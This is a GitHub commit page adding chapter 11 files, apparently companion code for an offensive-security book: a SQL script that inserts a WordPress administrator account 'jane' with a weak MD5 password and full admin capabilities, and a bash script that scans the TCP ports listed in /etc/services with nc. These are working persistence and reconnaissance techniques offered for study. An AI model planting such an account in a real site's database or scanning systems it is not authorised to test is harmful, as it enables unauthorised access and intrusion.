Skip to content

Commit

Permalink
chapter 11 files
Browse files Browse the repository at this point in the history
  • Loading branch information
dolevf committed Nov 6, 2023
1 parent 8025fb7 commit bfd0679
Show file tree
Hide file tree
Showing 2 changed files with 30 additions and 0 deletions.
7 changes: 7 additions & 0 deletions ch11/add_wordpress_admin.sql
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
use wordpress;

INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('3', 'jane', MD5('bash'), 'Jane', '[email protected]', 'http://www.example.com/', '2023-01-01 00:00:00', '', '0', 'Jane');

INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '3', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');

INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '3', 'wp_user_level', '10');
23 changes: 23 additions & 0 deletions ch11/port_scan_etc_services.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
#!/bin/bash
TARGETS=("$@")

print_help(){
echo "Usage: ${0} <LIST OF IPS>"
echo "${0} 10.1.0.1 10.1.0.2 10.1.0.3"
}

if [[ ${#TARGETS[@]} -eq 0 ]]; then
echo "Must provide one or more IP addresses!"
print_help
exit 1
fi

for target in "${TARGETS[@]}"; do
while read -r port; do
if timeout 1 nc -i 1 "${target}" -v "${port}" 2>&1 | grep -q "Connected to"; then
echo "IP: ${target}"
echo "Port: ${port}"
echo "Service: $(grep -w "${port}/tcp" /etc/services | awk '{print $1}')"
fi
done < <(grep "/tcp" /etc/services | awk '{print $2}' | tr -d '/tcp')
done

0 comments on commit bfd0679

Please sign in to comment.